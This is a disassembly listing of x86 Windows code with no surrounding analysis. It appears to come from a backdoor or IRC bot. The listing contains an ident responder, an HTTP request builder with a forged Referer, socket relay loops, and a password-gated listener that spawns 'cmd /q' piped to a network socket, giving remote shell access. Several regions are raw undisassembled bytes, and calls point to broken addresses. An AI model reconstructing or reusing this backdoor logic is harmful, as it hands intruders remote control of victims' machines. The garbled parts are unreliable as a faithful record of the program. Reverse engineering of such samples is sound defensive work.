[ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 27C0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2730000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx nop call near ptr 26808BBh loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 push 6 push 1 push 2 call dword_4CBA54 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9D4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA60 push eax lea eax, [ebp-238h] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB968 push eax lea eax, [ebp-238h] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA6C push dword ptr [ebp-4] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi nop call near ptr 2710000h pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA00 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CB9FC test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA68 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA60 push eax lea eax, [ebp-350h] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi ; --------------------------------------------------------------------------- dw 1EE8h dd 900228F8h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 228F78Bh dd 0E890EDEBh, 229F761h, 51906850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi nop call near ptr 2710000h pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9D4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA58 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB98C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA60 push eax lea eax, [ebp-344h] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi nop call near ptr 26A06F9h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h nop call near ptr 26A068Bh jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj nop call near ptr 26B0669h push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi nop call near ptr 2710000h pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E91C[esi] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E920[esi] call dword_4CBA6C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0EEh ; --------------------------------------------------------------------------- das add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9BC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi call near ptr 2710000h nop loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9EC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB928 test eax, eax jz short loc_4112BD call dword_4CB968 push eax push offset unk_43532C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi nop call near ptr 2710000h loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB98C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA60 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 cmp dword_4CE72C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 2710000h loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352F0 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E nop call near ptr 26B0669h push eax push offset unk_4352C4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx call near ptr 2710000h nop loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435298 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi nop call near ptr 2710000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 59E89057h, 57022FEBh, 4116CC68h, 0F6D0E800h, 8590023Ah dd 902975C0h, 29F1ACE8h, 0B0685002h, 0E8004354h, 48E4h dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22FEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 0DEE85056h, 900228F0h dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FC875h, 0FFFFFF37h, 4CE8326Ah, 900228F0h, 0E890EDEBh dd 229F021h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 0E936E856h, 5B90022Fh, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call near ptr 26B0669h nop push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call near ptr 26B0669h nop push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26C05DFh loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27D0000h sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 nop call near ptr 26B0669h push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j call near ptr 26C05DFh nop push 1 push dword ptr [esi+8] nop call near ptr 2750975h loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA6C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A nop call near ptr 26B0669h push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 nop call near ptr 26B0669h push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2760000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2680B8Eh nop test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx nop call near ptr 26808BBh jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call near ptr 26B0669h nop push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411A8A lea 